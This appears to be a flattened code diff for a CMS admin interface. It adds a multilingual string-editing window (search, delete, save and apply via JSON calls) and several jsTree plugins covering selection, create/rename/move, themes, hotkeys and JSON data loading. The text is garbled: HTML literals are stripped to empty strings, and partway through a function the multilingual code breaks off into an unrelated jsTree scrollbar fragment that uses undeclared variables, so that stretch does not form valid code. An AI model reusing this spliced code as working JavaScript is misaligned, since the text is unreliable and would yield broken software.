$(this).siblings('.delete').removeAttr('disabled'); - $tr.css('opacity', .6); + return false; + }); - $(document) - .unbind('mousedown.st mouseup.st') - .bind('mousemove.st', function(event) { - var diff, nTop, item, i, c, o; + // Delete click + $g11n_search.find('.delete').click(function(){ + if(!confirm(xe.confirm_delete)) return; - dropzone = null; + var $this = $(this); - diff = {x:position.x-event.pageX, y:position.y-event.pageY}; - nTop = offset.top - diff.y; + lang_name = $this.closest('.item').find('[href^="#lang-"]').data('lang_code'); - for(i=0,c=offsets.length; i < c; i++) { - o = offsets[i]; - if( (i && o.top > nTop) || ((i < c-1) && o.bottom < nTop)) continue; - - dropzone = {element:o.$item}; - if(o.top > nTop - 12) { - dropzone.state = 'before'; - $holder.css('top', o.top-5); - } else { - dropzone.state = 'after'; - $holder.css('top', o.bottom-5); - } + $.exec_json('module.procModuleAdminDeleteLang', { + 'name': lang_name, + 'mid': current_url.getQuery('mid') + }, function (data){ + if(!data) return; + if(data.error){ + alert(data.message); + return; } - $clone.css({top:nTop}); - }) - .bind('mouseup.st', function(event) { - var $dropzone; + var $pagination = $g11n_search.find('.x_pagination'); + var page = $pagination.data('page'); + var search_keyword = $pagination.data('search_keyword'); + var lang_code = $pagination.data('lang_code'); - dragging = false; + if(!page) $page = 1; - $(document).unbind('mousemove.st mouseup.st'); - $tr.removeAttr('target').css('opacity', ''); - $clone.remove(); - $holder.remove(); - - if(!dropzone) return; - $dropzone = $(dropzone.element); - - // use the clone for animation - $dropzone[dropzone.state]($tr); - - $table.trigger('after-drag.st'); + g11n_get_list(page, lang_code, search_keyword); }); - }) + }); - return this; -}; -$('table.sortable').xeSortableTable(); + // Save Click + $g11n_search.find('.item').submit(function(){ + var $this = $(this); + var $textareas = $this.find('.editMode').children('textarea'); + var $anchor = $this.find('[href^="#lang-"]'); + var params = {}; + var current_lang_value = null; + // create lang list + $textareas.each(function(){ + var $this = $(this); + params[$this.attr('class')] = $this.val(); + $this.data('tmp_value', $this.val()); + if(xe.current_lang == $this.attr('class')){ + current_lang_value = $this.val(); + } + }); + + params.lang_name = $anchor.data('lang_code'); + params.mid = current_url.getQuery('mid'); + + // submit + $.exec_json('module.procModuleAdminInsertLang', params, function (data){ + if(!data || data.error || !data.name) return; + + $textareas.each(function(){ + var $this = $(this); + $this.data('value', $this.data('tmp_value')); + }); + $anchor.children('span').html(current_lang_value); + + $g11n_search.find('.cancel').trigger('click'); + $this.find('.useit').trigger('click'); + }); + + return false; + }); + + // Useit click + $g11n_search.find('.useit').click(function(){ + var $this = $(this); + var $anchor = $this.closest('.item').find('[href^="#lang-"]'); + var name = $anchor.data('lang_code'); + var value = $anchor.children('span').text(); + + g11n_use_lang_code(name, value); + }); + } + + // tabbale + $g11n_get.find('.x_tabbable').xeTabbable(); + + // check create change + $g11n_create.find('.editMode textarea').change(function(){ + is_create_changed = true; + }); + + // Save-Useit click + $g11n_create.submit(function(){ + var $this = $(this); + var params = {}; + var current_lang_value = null; + + // create lang list + $this.find('.editMode').children('textarea').each(function(){ + var $this = $(this); + params[$this.attr('class')] = $this.val(); + if(xe.current_lang == $this.attr('class')){ + current_lang_value = $this.val(); + } + }); + + if(!current_lang_value){ + alert(xe.msg_empty_multilingual); + return false; + } + + params.mid = current_url.getQuery('mid'); + + // submit + $.exec_json('module.procModuleAdminInsertLang', params, on_complete); + + function on_complete(data){ + if(!data || data.error || !data.name) return; + + if(options.create_type == 'save_and_use'){ + g11n_use_lang_code(data.name, current_lang_value); + }else{ + alert(data.message); + g11n_reset_default(); + } + } + + return false; + }); + + $g11n_get.find('[href="#lang_search"]').click(function(e, just_tab){ + if(typeof(just_tab) == 'undefined'){ + g11n_get_list(); + } + }); + + // default + $g11n_get.bind('reset.g11n', function(){ + g11n_reset_default(); + }); + + // before open + $g11n_get.bind('before-open.g11n', function(e, code){ + g11n_before_open(code); + }); + + // before close + $g11n_get.bind('before-close.g11n', function(){ + return g11n_before_close(); + }); + + return this; + }; +}); + +// Load Multilingual Window Markup +var is_loaded_multilingual_window_html = false; +jQuery(function($){ + $.fn.xeLoadMultilingualWindowHtml = function(){ + function on_complete(data){ + // append html + var $content = $('#content'); + $(data.html).appendTo($content).xeMultilingualWindow(); + $('.lang_code').trigger('loaded-multilingualWindow'); + } + $.exec_json('module.getModuleAdminMultilingualHtml', { + 'mid': current_url.getQuery('mid') + }, on_complete); + + return this; + } +}); + +// Apply Multilingual UI +var multilingual_id_count = 0; +jQuery(function($){ + $.fn.xeApplyMultilingualUI = function(){ + $(this).each(function(){ + // load multilingual window html + if(!is_loaded_multilingual_window_html){ + $().xeLoadMultilingualWindowHtml(); + is_loaded_multilingual_window_html = true; + } + + // make UI + var $this = $(this); + var t = this; + + if($this.parent().hasClass('g11n')){ + $this.siblings().remove(); + }else{ + $this.wrap(''); + } + + var id = $this.attr('id'); + if(!id){ + id = '__lang_code_' + multilingual_id_count; + multilingual_id_count++; + $this.attr('id', id); + } + + function makeUI(){ + var $multilingualWindow = $('#g11n'); + var width = $this.width(); + + if(t.tagName == 'TEXTAREA' || $this.data('type') == 'textarea'){ + var $displayInput = $('').css({ position: 'absolute', top: -1000, left: 0 }).appendTo('body'); + e2 = $('').css({ position: 'absolute', top: -1000, left: 0 }).appendTo('body'); + scrollbar_width = e1.width() - e2.width(); + e1.add(e2).remove(); + } + else { + e1 = $('
                    ').css({ width: 100, height: 100, overflow: 'auto', position: 'absolute', top: -1000, left: 0 }) + .prependTo('body').append('
                    ').find('div').css({ width: '100%', height: 200 }); + scrollbar_width = 100 - e1.width(); + e1.parent().remove(); + } + }); + $.jstree.plugin("ui", { + __init : function () { + this.data.ui.selected = $(); + this.data.ui.last_selected = false; + this.data.ui.hovered = null; + this.data.ui.to_select = this.get_settings().ui.initially_select; + + this.get_container() + .delegate("a", "click.jstree", $.proxy(function (event) { + event.preventDefault(); + event.currentTarget.blur(); + if(!$(event.currentTarget).hasClass("jstree-loading")) { + this.select_node(event.currentTarget, true, event); + } + }, this)) + .delegate("a", "mouseenter.jstree", $.proxy(function (event) { + if(!$(event.currentTarget).hasClass("jstree-loading")) { + this.hover_node(event.target); + } + }, this)) + .delegate("a", "mouseleave.jstree", $.proxy(function (event) { + if(!$(event.currentTarget).hasClass("jstree-loading")) { + this.dehover_node(event.target); + } + }, this)) + .bind("reopen.jstree", $.proxy(function () { + this.reselect(); + }, this)) + .bind("get_rollback.jstree", $.proxy(function () { + this.dehover_node(); + this.save_selected(); + }, this)) + .bind("set_rollback.jstree", $.proxy(function () { + this.reselect(); + }, this)) + .bind("close_node.jstree", $.proxy(function (event, data) { + var s = this._get_settings().ui, + obj = this._get_node(data.rslt.obj), + clk = (obj && obj.length) ? obj.children("ul").find("a.jstree-clicked") : $(), + _this = this; + if(s.selected_parent_close === false || !clk.length) { return; } + clk.each(function () { + _this.deselect_node(this); + if(s.selected_parent_close === "select_parent") { _this.select_node(obj); } + }); + }, this)) + .bind("delete_node.jstree", $.proxy(function (event, data) { + var s = this._get_settings().ui.select_prev_on_delete, + obj = this._get_node(data.rslt.obj), + clk = (obj && obj.length) ? obj.find("a.jstree-clicked") : [], + _this = this; + clk.each(function () { _this.deselect_node(this); }); + if(s && clk.length) { + data.rslt.prev.each(function () { + if(this.parentNode) { _this.select_node(this); return false; /* if return false is removed all prev nodes will be selected */} + }); + } + }, this)) + .bind("move_node.jstree", $.proxy(function (event, data) { + if(data.rslt.cy) { + data.rslt.oc.find("a.jstree-clicked").removeClass("jstree-clicked"); + } + }, this)); + }, + defaults : { + select_limit : -1, // 0, 1, 2 ... or -1 for unlimited + select_multiple_modifier : "ctrl", // on, or ctrl, shift, alt + select_range_modifier : "shift", + selected_parent_close : "select_parent", // false, "deselect", "select_parent" + selected_parent_open : true, + select_prev_on_delete : true, + disable_selecting_children : false, + initially_select : [] + }, + _fn : { + _get_node : function (obj, allow_multiple) { + if(typeof obj === "undefined" || obj === null) { return allow_multiple ? this.data.ui.selected : this.data.ui.last_selected; } + var $obj = $(obj, this.get_container()); + if($obj.is(".jstree") || obj == -1) { return -1; } + $obj = $obj.closest("li", this.get_container()); + return $obj.length ? $obj : false; + }, + _ui_notify : function (n, data) { + if(data.selected) { + this.select_node(n, false); + } + }, + save_selected : function () { + var _this = this; + this.data.ui.to_select = []; + this.data.ui.selected.each(function () { if(this.id) { _this.data.ui.to_select.push("#" + this.id.toString().replace(/^#/,"").replace(/\\\//g,"/").replace(/\//g,"\\\/").replace(/\\\./g,".").replace(/\./g,"\\.").replace(/\:/g,"\\:")); } }); + this.__callback(this.data.ui.to_select); + }, + reselect : function () { + var _this = this, + s = this.data.ui.to_select; + s = $.map($.makeArray(s), function (n) { return "#" + n.toString().replace(/^#/,"").replace(/\\\//g,"/").replace(/\//g,"\\\/").replace(/\\\./g,".").replace(/\./g,"\\.").replace(/\:/g,"\\:"); }); + // this.deselect_all(); WHY deselect, breaks plugin state notifier? + $.each(s, function (i, val) { if(val && val !== "#") { _this.select_node(val); } }); + this.data.ui.selected = this.data.ui.selected.filter(function () { return this.parentNode; }); + this.__callback(); + }, + refresh : function (obj) { + this.save_selected(); + return this.__call_old(); + }, + hover_node : function (obj) { + obj = this._get_node(obj); + if(!obj.length) { return false; } + //if(this.data.ui.hovered && obj.get(0) === this.data.ui.hovered.get(0)) { return; } + if(!obj.hasClass("jstree-hovered")) { this.dehover_node(); } + this.data.ui.hovered = obj.children("a").addClass("jstree-hovered").parent(); + this._fix_scroll(obj); + this.__callback({ "obj" : obj }); + }, + dehover_node : function () { + var obj = this.data.ui.hovered, p; + if(!obj || !obj.length) { return false; } + p = obj.children("a").removeClass("jstree-hovered").parent(); + if(this.data.ui.hovered[0] === p[0]) { this.data.ui.hovered = null; } + this.__callback({ "obj" : obj }); + }, + select_node : function (obj, check, e) { + obj = this._get_node(obj); + if(obj == -1 || !obj || !obj.length) { return false; } + var s = this._get_settings().ui, + is_multiple = (s.select_multiple_modifier == "on" || (s.select_multiple_modifier !== false && e && e[s.select_multiple_modifier + "Key"])), + is_range = (s.select_range_modifier !== false && e && e[s.select_range_modifier + "Key"] && this.data.ui.last_selected && this.data.ui.last_selected[0] !== obj[0] && this.data.ui.last_selected.parent()[0] === obj.parent()[0]), + is_selected = this.is_selected(obj), + proceed = true, + t = this; + if(check) { + if(s.disable_selecting_children && is_multiple && + ( + (obj.parentsUntil(".jstree","li").children("a.jstree-clicked").length) || + (obj.children("ul").find("a.jstree-clicked:eq(0)").length) + ) + ) { + return false; + } + proceed = false; + switch(!0) { + case (is_range): + this.data.ui.last_selected.addClass("jstree-last-selected"); + obj = obj[ obj.index() < this.data.ui.last_selected.index() ? "nextUntil" : "prevUntil" ](".jstree-last-selected").andSelf(); + if(s.select_limit == -1 || obj.length < s.select_limit) { + this.data.ui.last_selected.removeClass("jstree-last-selected"); + this.data.ui.selected.each(function () { + if(this !== t.data.ui.last_selected[0]) { t.deselect_node(this); } + }); + is_selected = false; + proceed = true; + } + else { + proceed = false; + } + break; + case (is_selected && !is_multiple): + this.deselect_all(); + is_selected = false; + proceed = true; + break; + case (!is_selected && !is_multiple): + if(s.select_limit == -1 || s.select_limit > 0) { + this.deselect_all(); + proceed = true; + } + break; + case (is_selected && is_multiple): + this.deselect_node(obj); + break; + case (!is_selected && is_multiple): + if(s.select_limit == -1 || this.data.ui.selected.length + 1 <= s.select_limit) { + proceed = true; + } + break; + } + } + if(proceed && !is_selected) { + if(!is_range) { this.data.ui.last_selected = obj; } + obj.children("a").addClass("jstree-clicked"); + if(s.selected_parent_open) { + obj.parents(".jstree-closed").each(function () { t.open_node(this, false, true); }); + } + this.data.ui.selected = this.data.ui.selected.add(obj); + this._fix_scroll(obj.eq(0)); + this.__callback({ "obj" : obj, "e" : e }); + } + }, + _fix_scroll : function (obj) { + var c = this.get_container()[0], t; + if(c.scrollHeight > c.offsetHeight) { + obj = this._get_node(obj); + if(!obj || obj === -1 || !obj.length || !obj.is(":visible")) { return; } + t = obj.offset().top - this.get_container().offset().top; + if(t < 0) { + c.scrollTop = c.scrollTop + t - 1; + } + if(t + this.data.core.li_height + (c.scrollWidth > c.offsetWidth ? scrollbar_width : 0) > c.offsetHeight) { + c.scrollTop = c.scrollTop + (t - c.offsetHeight + this.data.core.li_height + 1 + (c.scrollWidth > c.offsetWidth ? scrollbar_width : 0)); + } + } + }, + deselect_node : function (obj) { + obj = this._get_node(obj); + if(!obj.length) { return false; } + if(this.is_selected(obj)) { + obj.children("a").removeClass("jstree-clicked"); + this.data.ui.selected = this.data.ui.selected.not(obj); + if(this.data.ui.last_selected.get(0) === obj.get(0)) { this.data.ui.last_selected = this.data.ui.selected.eq(0); } + this.__callback({ "obj" : obj }); + } + }, + toggle_select : function (obj) { + obj = this._get_node(obj); + if(!obj.length) { return false; } + if(this.is_selected(obj)) { this.deselect_node(obj); } + else { this.select_node(obj); } + }, + is_selected : function (obj) { return this.data.ui.selected.index(this._get_node(obj)) >= 0; }, + get_selected : function (context) { + return context ? $(context).find("a.jstree-clicked").parent() : this.data.ui.selected; + }, + deselect_all : function (context) { + var ret = context ? $(context).find("a.jstree-clicked").parent() : this.get_container().find("a.jstree-clicked").parent(); + ret.children("a.jstree-clicked").removeClass("jstree-clicked"); + this.data.ui.selected = $([]); + this.data.ui.last_selected = false; + this.__callback({ "obj" : ret }); + } + } + }); + // include the selection plugin by default + $.jstree.defaults.plugins.push("ui"); +})(jQuery); +//*/ + +/* + * jsTree CRRM plugin + * Handles creating/renaming/removing/moving nodes by user interaction. + */ +(function ($) { + $.jstree.plugin("crrm", { + __init : function () { + this.get_container() + .bind("move_node.jstree", $.proxy(function (e, data) { + if(this._get_settings().crrm.move.open_onmove) { + var t = this; + data.rslt.np.parentsUntil(".jstree").andSelf().filter(".jstree-closed").each(function () { + t.open_node(this, false, true); + }); + } + }, this)); + }, + defaults : { + input_width_limit : 200, + move : { + always_copy : false, // false, true or "multitree" + open_onmove : true, + default_position : "last", + check_move : function (m) { return true; } + } + }, + _fn : { + _show_input : function (obj, callback) { + obj = this._get_node(obj); + var rtl = this._get_settings().core.rtl, + w = this._get_settings().crrm.input_width_limit, + w1 = obj.children("ins").width(), + w2 = obj.find("> a:visible > ins").width() * obj.find("> a:visible > ins").length, + t = this.get_text(obj), + h1 = $("
                    ", { css : { "position" : "absolute", "top" : "-200px", "left" : (rtl ? "0px" : "-1000px"), "visibility" : "hidden" } }).appendTo("body"), + h2 = obj.css("position","relative").append( + $("", { + "value" : t, + "class" : "jstree-rename-input", + // "size" : t.length, + "css" : { + "padding" : "0 4px", + "border" : "1px solid silver", + "borderRadius" : "3px", + "position" : "absolute", + "left" : (rtl ? "auto" : (w1 + w2) + "px"), + "right" : (rtl ? (w1 + w2 + 4) + "px" : "auto"), + "top" : "0", + "height" : (this.data.core.li_height - 2) + "px", + "lineHeight" : (this.data.core.li_height - 2) + "px", + "width" : "200px" // will be set a bit further down + }, + "blur" : $.proxy(function () { + var i = obj.children(".jstree-rename-input"), + v = i.val(); + if(v === "") { v = t; } + h1.remove(); + i.remove(); // rollback purposes + this.set_text(obj,t); // rollback purposes + this.rename_node(obj, v); + callback.call(this, obj, v, t); + obj.css("position",""); + }, this), + "keyup" : function (event) { + var key = event.keyCode || event.which; + if(key == 27) { this.value = t; this.blur(); return; } + else if(key == 13) { this.blur(); return; } + else { + h2.width(Math.min(h1.text("pW" + this.value).width(),w)); + } + }, + "keypress" : function(event) { + var key = event.keyCode || event.which; + if(key == 13) { return false; } + } + }) + ).children(".jstree-rename-input"); + this.set_text(obj, ""); + h1.css({ + fontFamily : h2.css('fontFamily') || '', + fontSize : h2.css('fontSize') || '', + fontWeight : h2.css('fontWeight') || '', + fontStyle : h2.css('fontStyle') || '', + fontStretch : h2.css('fontStretch') || '', + fontVariant : h2.css('fontVariant') || '', + letterSpacing : h2.css('letterSpacing') || '', + wordSpacing : h2.css('wordSpacing') || '' + }); + h2.width(Math.min(h1.text("pW" + h2[0].value).width(),w))[0].select(); + }, + rename : function (obj) { + obj = this._get_node(obj); + this.__rollback(); + var f = this.__callback; + this._show_input(obj, function (obj, new_name, old_name) { + f.call(this, { "obj" : obj, "new_name" : new_name, "old_name" : old_name }); + }); + }, + create : function (obj, position, js, callback, skip_rename) { + var t, _this = this; + obj = this._get_node(obj); + if(!obj) { obj = -1; } + this.__rollback(); + t = this.create_node(obj, position, js, function (t) { + var p = this._get_parent(t), + pos = $(t).index(); + if(callback) { callback.call(this, t); } + if(p.length && p.hasClass("jstree-closed")) { this.open_node(p, false, true); } + if(!skip_rename) { + this._show_input(t, function (obj, new_name, old_name) { + _this.__callback({ "obj" : obj, "name" : new_name, "parent" : p, "position" : pos }); + }); + } + else { _this.__callback({ "obj" : t, "name" : this.get_text(t), "parent" : p, "position" : pos }); } + }); + return t; + }, + remove : function (obj) { + obj = this._get_node(obj, true); + var p = this._get_parent(obj), prev = this._get_prev(obj); + this.__rollback(); + obj = this.delete_node(obj); + if(obj !== false) { this.__callback({ "obj" : obj, "prev" : prev, "parent" : p }); } + }, + check_move : function () { + if(!this.__call_old()) { return false; } + var s = this._get_settings().crrm.move; + if(!s.check_move.call(this, this._get_move())) { return false; } + return true; + }, + move_node : function (obj, ref, position, is_copy, is_prepared, skip_check) { + var s = this._get_settings().crrm.move; + if(!is_prepared) { + if(typeof position === "undefined") { position = s.default_position; } + if(position === "inside" && !s.default_position.match(/^(before|after)$/)) { position = s.default_position; } + return this.__call_old(true, obj, ref, position, is_copy, false, skip_check); + } + // if the move is already prepared + if(s.always_copy === true || (s.always_copy === "multitree" && obj.rt.get_index() !== obj.ot.get_index() )) { + is_copy = true; + } + this.__call_old(true, obj, ref, position, is_copy, true, skip_check); + }, + + cut : function (obj) { + obj = this._get_node(obj, true); + if(!obj || !obj.length) { return false; } + this.data.crrm.cp_nodes = false; + this.data.crrm.ct_nodes = obj; + this.__callback({ "obj" : obj }); + }, + copy : function (obj) { + obj = this._get_node(obj, true); + if(!obj || !obj.length) { return false; } + this.data.crrm.ct_nodes = false; + this.data.crrm.cp_nodes = obj; + this.__callback({ "obj" : obj }); + }, + paste : function (obj) { + obj = this._get_node(obj); + if(!obj || !obj.length) { return false; } + var nodes = this.data.crrm.ct_nodes ? this.data.crrm.ct_nodes : this.data.crrm.cp_nodes; + if(!this.data.crrm.ct_nodes && !this.data.crrm.cp_nodes) { return false; } + if(this.data.crrm.ct_nodes) { this.move_node(this.data.crrm.ct_nodes, obj); this.data.crrm.ct_nodes = false; } + if(this.data.crrm.cp_nodes) { this.move_node(this.data.crrm.cp_nodes, obj, false, true); } + this.__callback({ "obj" : obj, "nodes" : nodes }); + } + } + }); + // include the crr plugin by default + // $.jstree.defaults.plugins.push("crrm"); +})(jQuery); +//*/ + +/* + * jsTree themes plugin + * Handles loading and setting themes, as well as detecting path to themes, etc. + */ +(function ($) { + var themes_loaded = []; + // this variable stores the path to the themes folder - if left as false - it will be autodetected + $.jstree._themes = false; + $.jstree.plugin("themes", { + __init : function () { + this.get_container() + .bind("init.jstree", $.proxy(function () { + var s = this._get_settings().themes; + this.data.themes.dots = s.dots; + this.data.themes.icons = s.icons; + this.set_theme(s.theme, s.url); + }, this)) + .bind("loaded.jstree", $.proxy(function () { + // bound here too, as simple HTML tree's won't honor dots & icons otherwise + if(!this.data.themes.dots) { this.hide_dots(); } + else { this.show_dots(); } + if(!this.data.themes.icons) { this.hide_icons(); } + else { this.show_icons(); } + }, this)); + }, + defaults : { + theme : "default", + url : false, + dots : true, + icons : true + }, + _fn : { + set_theme : function (theme_name, theme_url) { + if(!theme_name) { return false; } + if(!theme_url) { theme_url = $.jstree._themes + theme_name + '/style.css'; } + if($.inArray(theme_url, themes_loaded) == -1) { + $.vakata.css.add_sheet({ "url" : theme_url }); + themes_loaded.push(theme_url); + } + if(this.data.themes.theme != theme_name) { + this.get_container().removeClass('jstree-' + this.data.themes.theme); + this.data.themes.theme = theme_name; + } + this.get_container().addClass('jstree-' + theme_name); + if(!this.data.themes.dots) { this.hide_dots(); } + else { this.show_dots(); } + if(!this.data.themes.icons) { this.hide_icons(); } + else { this.show_icons(); } + this.__callback(); + }, + get_theme : function () { return this.data.themes.theme; }, + + show_dots : function () { this.data.themes.dots = true; this.get_container().children("ul").removeClass("jstree-no-dots"); }, + hide_dots : function () { this.data.themes.dots = false; this.get_container().children("ul").addClass("jstree-no-dots"); }, + toggle_dots : function () { if(this.data.themes.dots) { this.hide_dots(); } else { this.show_dots(); } }, + + show_icons : function () { this.data.themes.icons = true; this.get_container().children("ul").removeClass("jstree-no-icons"); }, + hide_icons : function () { this.data.themes.icons = false; this.get_container().children("ul").addClass("jstree-no-icons"); }, + toggle_icons: function () { if(this.data.themes.icons) { this.hide_icons(); } else { this.show_icons(); } } + } + }); + // autodetect themes path + $(function () { + if($.jstree._themes === false) { + $("script").each(function () { + if(this.src.toString().match(/jquery\.jstree[^\/]*?\.js(\?.*)?$/)) { + $.jstree._themes = this.src.toString().replace(/jquery\.jstree[^\/]*?\.js(\?.*)?$/, "") + 'themes/'; + return false; + } + }); + } + if($.jstree._themes === false) { $.jstree._themes = "themes/"; } + }); + // include the themes plugin by default + $.jstree.defaults.plugins.push("themes"); +})(jQuery); +//*/ + +/* + * jsTree hotkeys plugin + * Enables keyboard navigation for all tree instances + * Depends on the jstree ui & jquery hotkeys plugins + */ +(function ($) { + var bound = []; + function exec(i, event) { + var f = $.jstree._focused(), tmp; + if(f && f.data && f.data.hotkeys && f.data.hotkeys.enabled) { + tmp = f._get_settings().hotkeys[i]; + if(tmp) { return tmp.call(f, event); } + } + } + $.jstree.plugin("hotkeys", { + __init : function () { + if(typeof $.hotkeys === "undefined") { throw "jsTree hotkeys: jQuery hotkeys plugin not included."; } + if(!this.data.ui) { throw "jsTree hotkeys: jsTree UI plugin not included."; } + $.each(this._get_settings().hotkeys, function (i, v) { + if(v !== false && $.inArray(i, bound) == -1) { + $(document).bind("keydown", i, function (event) { return exec(i, event); }); + bound.push(i); + } + }); + this.get_container() + .bind("lock.jstree", $.proxy(function () { + if(this.data.hotkeys.enabled) { this.data.hotkeys.enabled = false; this.data.hotkeys.revert = true; } + }, this)) + .bind("unlock.jstree", $.proxy(function () { + if(this.data.hotkeys.revert) { this.data.hotkeys.enabled = true; } + }, this)); + this.enable_hotkeys(); + }, + defaults : { + "up" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_prev(o)); + return false; + }, + "ctrl+up" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_prev(o)); + return false; + }, + "shift+up" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_prev(o)); + return false; + }, + "down" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_next(o)); + return false; + }, + "ctrl+down" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_next(o)); + return false; + }, + "shift+down" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_next(o)); + return false; + }, + "left" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o) { + if(o.hasClass("jstree-open")) { this.close_node(o); } + else { this.hover_node(this._get_prev(o)); } + } + return false; + }, + "ctrl+left" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o) { + if(o.hasClass("jstree-open")) { this.close_node(o); } + else { this.hover_node(this._get_prev(o)); } + } + return false; + }, + "shift+left" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o) { + if(o.hasClass("jstree-open")) { this.close_node(o); } + else { this.hover_node(this._get_prev(o)); } + } + return false; + }, + "right" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o && o.length) { + if(o.hasClass("jstree-closed")) { this.open_node(o); } + else { this.hover_node(this._get_next(o)); } + } + return false; + }, + "ctrl+right" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o && o.length) { + if(o.hasClass("jstree-closed")) { this.open_node(o); } + else { this.hover_node(this._get_next(o)); } + } + return false; + }, + "shift+right" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o && o.length) { + if(o.hasClass("jstree-closed")) { this.open_node(o); } + else { this.hover_node(this._get_next(o)); } + } + return false; + }, + "space" : function () { + if(this.data.ui.hovered) { this.data.ui.hovered.children("a:eq(0)").click(); } + return false; + }, + "ctrl+space" : function (event) { + event.type = "click"; + if(this.data.ui.hovered) { this.data.ui.hovered.children("a:eq(0)").trigger(event); } + return false; + }, + "shift+space" : function (event) { + event.type = "click"; + if(this.data.ui.hovered) { this.data.ui.hovered.children("a:eq(0)").trigger(event); } + return false; + }, + "f2" : function () { this.rename(this.data.ui.hovered || this.data.ui.last_selected); }, + "del" : function () { this.remove(this.data.ui.hovered || this._get_node(null)); } + }, + _fn : { + enable_hotkeys : function () { + this.data.hotkeys.enabled = true; + }, + disable_hotkeys : function () { + this.data.hotkeys.enabled = false; + } + } + }); +})(jQuery); +//*/ + +/* + * jsTree JSON plugin + * The JSON data store. Datastores are build by overriding the `load_node` and `_is_loaded` functions. + */ +(function ($) { + $.jstree.plugin("json_data", { + __init : function() { + var s = this._get_settings().json_data; + if(s.progressive_unload) { + this.get_container().bind("after_close.jstree", function (e, data) { + data.rslt.obj.children("ul").remove(); + }); + } + }, + defaults : { + // `data` can be a function: + // * accepts two arguments - node being loaded and a callback to pass the result to + // * will be executed in the current tree's scope & ajax won't be supported + data : false, + ajax : false, + correct_state : true, + progressive_render : false, + progressive_unload : false + }, + _fn : { + load_node : function (obj, s_call, e_call) { var _this = this; this.load_node_json(obj, function () { _this.__callback({ "obj" : _this._get_node(obj) }); s_call.call(this); }, e_call); }, + _is_loaded : function (obj) { + var s = this._get_settings().json_data; + obj = this._get_node(obj); + return obj == -1 || !obj || (!s.ajax && !s.progressive_render && !$.isFunction(s.data)) || obj.is(".jstree-open, .jstree-leaf") || obj.children("ul").children("li").length > 0; + }, + refresh : function (obj) { + obj = this._get_node(obj); + var s = this._get_settings().json_data; + if(obj && obj !== -1 && s.progressive_unload && ($.isFunction(s.data) || !!s.ajax)) { + obj.removeData("jstree-children"); + } + return this.__call_old(); + }, + load_node_json : function (obj, s_call, e_call) { + var s = this.get_settings().json_data, d, + error_func = function () {}, + success_func = function () {}; + obj = this._get_node(obj); + + if(obj && obj !== -1 && (s.progressive_render || s.progressive_unload) && !obj.is(".jstree-open, .jstree-leaf") && obj.children("ul").children("li").length === 0 && obj.data("jstree-children")) { + d = this._parse_json(obj.data("jstree-children"), obj); + if(d) { + obj.append(d); + if(!s.progressive_unload) { obj.removeData("jstree-children"); } + } + this.clean_node(obj); + if(s_call) { s_call.call(this); } + return; + } + + if(obj && obj !== -1) { + if(obj.data("jstree-is-loading")) { return; } + else { obj.data("jstree-is-loading",true); } + } + switch(!0) { + case (!s.data && !s.ajax): throw "Neither data nor ajax settings supplied."; + // function option added here for easier model integration (also supporting async - see callback) + case ($.isFunction(s.data)): + s.data.call(this, obj, $.proxy(function (d) { + d = this._parse_json(d, obj); + if(!d) { + if(obj === -1 || !obj) { + if(s.correct_state) { this.get_container().children("ul").empty(); } + } + else { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(s.correct_state) { this.correct_state(obj); } + } + if(e_call) { e_call.call(this); } + } + else { + if(obj === -1 || !obj) { this.get_container().children("ul").empty().append(d.children()); } + else { obj.append(d).children("a.jstree-loading").removeClass("jstree-loading"); obj.removeData("jstree-is-loading"); } + this.clean_node(obj); + if(s_call) { s_call.call(this); } + } + }, this)); + break; + case (!!s.data && !s.ajax) || (!!s.data && !!s.ajax && (!obj || obj === -1)): + if(!obj || obj == -1) { + d = this._parse_json(s.data, obj); + if(d) { + this.get_container().children("ul").empty().append(d.children()); + this.clean_node(); + } + else { + if(s.correct_state) { this.get_container().children("ul").empty(); } + } + } + if(s_call) { s_call.call(this); } + break; + case (!s.data && !!s.ajax) || (!!s.data && !!s.ajax && obj && obj !== -1): + error_func = function (x, t, e) { + var ef = this.get_settings().json_data.ajax.error; + if(ef) { ef.call(this, x, t, e); } + if(obj != -1 && obj.length) { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(t === "success" && s.correct_state) { this.correct_state(obj); } + } + else { + if(t === "success" && s.correct_state) { this.get_container().children("ul").empty(); } + } + if(e_call) { e_call.call(this); } + }; + success_func = function (d, t, x) { + var sf = this.get_settings().json_data.ajax.success; + if(sf) { d = sf.call(this,d,t,x) || d; } + if(d === "" || (d && d.toString && d.toString().replace(/^[\s\n]+$/,"") === "") || (!$.isArray(d) && !$.isPlainObject(d))) { + return error_func.call(this, x, t, ""); + } + d = this._parse_json(d, obj); + if(d) { + if(obj === -1 || !obj) { this.get_container().children("ul").empty().append(d.children()); } + else { obj.append(d).children("a.jstree-loading").removeClass("jstree-loading"); obj.removeData("jstree-is-loading"); } + this.clean_node(obj); + if(s_call) { s_call.call(this); } + } + else { + if(obj === -1 || !obj) { + if(s.correct_state) { + this.get_container().children("ul").empty(); + if(s_call) { s_call.call(this); } + } + } + else { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(s.correct_state) { + this.correct_state(obj); + if(s_call) { s_call.call(this); } + } + } + } + }; + s.ajax.context = this; + s.ajax.error = error_func; + s.ajax.success = success_func; + if(!s.ajax.dataType) { s.ajax.dataType = "json"; } + if($.isFunction(s.ajax.url)) { s.ajax.url = s.ajax.url.call(this, obj); } + if($.isFunction(s.ajax.data)) { s.ajax.data = s.ajax.data.call(this, obj); } + $.ajax(s.ajax); + break; + } + }, + _parse_json : function (js, obj, 